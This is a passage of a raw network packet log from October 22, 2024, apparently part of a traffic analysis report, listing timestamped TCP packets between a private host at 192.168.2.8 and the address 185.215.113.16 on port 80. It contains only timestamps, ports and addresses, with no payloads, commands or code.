Oct 22, 2024 19:25:11.604007006 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.604018927 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604029894 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604034901 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.604038954 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604048967 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604060888 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604067087 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.604075909 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604089975 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604093075 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.604105949 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604120016 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604125023 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604130030 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604139090 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604150057 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604156971 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.604161024 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604157925 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.604171991 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604182959 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604188919 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604193926 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604197979 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.604203939 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604214907 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604216099 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.604228020 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604233980 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.604239941 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604252100 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604254961 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.604274035 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.604279041 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604291916 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604295015 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.604300022 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604310036 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604321957 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604334116 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604343891 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604347944 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.604353905 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604363918 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604373932 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604389906 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.604413033 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.604429960 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604439974 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604448080 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604458094 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604470968 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604490042 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604501009 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604511976 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604521036 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604531050 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604541063 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604552031 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604562044 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604571104 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604582071 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604588985 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.604592085 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604602098 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604614019 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604624033 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604635954 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604635954 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.604676008 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.604701042 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.604718924 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604727983 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604737997 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604746103 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604769945 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.604798079 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.604830027 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.604886055 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604908943 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604922056 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604931116 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.604938030 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604950905 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604960918 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604973078 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604973078 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.604984045 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.604995012 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605005026 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605010033 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605020046 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605020046 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.605041027 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.605046034 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605103016 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605114937 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605125904 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605137110 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605148077 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605159044 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605164051 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605174065 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605174065 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.605212927 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.605221987 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605235100 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605242968 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605253935 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605259895 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605262041 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.605268955 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605279922 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605285883 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605295897 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.605297089 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605334997 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.605357885 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605371952 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605376959 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605381012 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.605402946 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605412960 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605422020 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605441093 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.605472088 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.605472088 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.605684996 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605698109 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605706930 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605716944 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605726957 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605736971 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605747938 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605756998 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605766058 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605777025 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605787039 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605798006 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605808973 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605828047 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605839968 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605849981 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605873108 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605885983 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.605906010 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605916023 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605926991 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605937958 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605947971 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605959892 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605959892 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.605972052 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605981112 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.605983019 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.605993032 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.606003046 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.606013060 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.606023073 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.606028080 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.606028080 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.606031895 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.606044054 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.606050968 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.606080055 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.606103897 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.606132030 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.606199980 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.611924887 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.611944914 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.611952066 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.611955881 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.611960888 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.611965895 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.611970901 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.611974955 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.611979961 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.611984968 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.611989975 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.611994982 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.612092018 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.612099886 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.612112045 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.612123013 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.612133026 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.612143993 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.612153053 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.612159014 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.612164021 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.612183094 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.612303019 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.612313986 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.612323999 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.612329960 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.612330914 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.612334013 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.612344027 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.612354040 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.612364054 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.612368107 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.612390995 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.612390995 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.612404108 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.612413883 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.612422943 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.612433910 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.612445116 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.612462044 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.612462044 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.612462044 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.612476110 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.612488985 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.612494946 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.612499952 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.612512112 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.612515926 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.612523079 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.612535954 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.612560034 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.612581968 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.612835884 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.612880945 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.612890959 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.612894058 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.612932920 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.612953901 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.612958908 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.612972975 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.612982035 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.612992048 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.613015890 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.613020897 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.613032103 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.613040924 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.613049984 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.613050938 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.613066912 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.613104105 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.613131046 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.613145113 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.613154888 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.613163948 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.613173008 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.613200903 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.613246918 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.613259077 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.613270998 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.613279104 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.613289118 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.613298893 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.613308907 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.613316059 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.613321066 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.613332033 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.613333941 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.613342047 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.613351107 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.613358021 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.613363028 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.613383055 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.613401890 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.613418102 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.613429070 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.613436937 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.613445997 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.613456011 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.613468885 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.613476038 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.613478899 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.613488913 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.613496065 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.613500118 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.613516092 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.613518953 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.613528013 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.613538027 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.613542080 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.613548040 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.613559961 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.613560915 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.613570929 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.613581896 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.613594055 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.613603115 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.613604069 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.613615036 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.613636971 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.613656044 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.613945961 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614002943 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.614010096 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614023924 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614058971 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.614079952 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.614089012 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614101887 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614110947 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614135981 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614145041 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.614146948 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614157915 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614170074 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614175081 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.614212036 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.614239931 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614242077 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.614253044 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614262104 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614273071 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614281893 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614289999 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.614326954 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614326954 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.614340067 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614377975 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.614461899 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614474058 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614481926 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614490986 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614501953 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614518881 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614528894 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.614531994 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614542961 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614551067 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.614552975 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614564896 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614572048 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.614574909 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614587069 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614608049 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.614619017 CEST	80	49725	185.215.113.16	192.168.2.8
